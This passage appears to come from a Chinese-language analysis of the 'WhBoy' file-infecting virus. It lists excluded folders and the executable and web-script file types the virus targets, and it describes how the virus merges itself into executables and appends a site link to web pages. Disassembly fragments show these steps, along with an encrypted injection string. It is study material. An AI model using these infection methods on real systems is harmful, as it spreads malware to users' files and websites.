Internet Explore;NetMeeting;ComPlus Applications;Messenger;
InstallShield Installation Information;MSN;Microsoft Frontpage;Movie Maker;
MSN Gamin Zone.
不感染的文件:
setup.exe;NTDETECT.COM.
感染文件类型:
ASCII "EXE";ASCII "SCR";ASCII "PIF";ASCII "COM";
ASCII "htm";ASCII "html";ASCII "asp";ASCII "php";ASCII "jsp";ASCII "aspx".
2.7 文件感染方式:
2.7.1 二进制可执行文件(后缀后为:EXE,SCR,PIF,COM):
将感染目标文件和病毒溶合成一个文件(被感染文件贴在病毒文件尾部)完成感染.
00409E95 E8 66E0FFFF call GameSetu.00407F00
00407FDE B8 5C814000 mov eax,GameSetu.0040815C ; ASCII "WhBoy"
...
00408031 E8 B6CAFFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
2.7.2 脚本类(后缀名为:htm,html,asp,php,jsp,aspx):
在这些脚本文件尾加上网站链接.
00409EFB E8 CCDAFFFF call GameSetu.004079CC
004079FF BA F47A4000 mov edx,dumped_.00407AF4 ; ASCII "Search"
00407A04 B8 047B4000 mov eax,dumped_.00407B04 ; ASCII "=nb{end''w{g>ispy>,.ps~*bb?2''gm.12&mmeb|''lwl''s``wi:&9&#ibmnlw<%4+:?.nb{end9"
00407A09 E8 42D8FFFF call dumped_.00405250 ; 解密
0
相关文章
关注我们
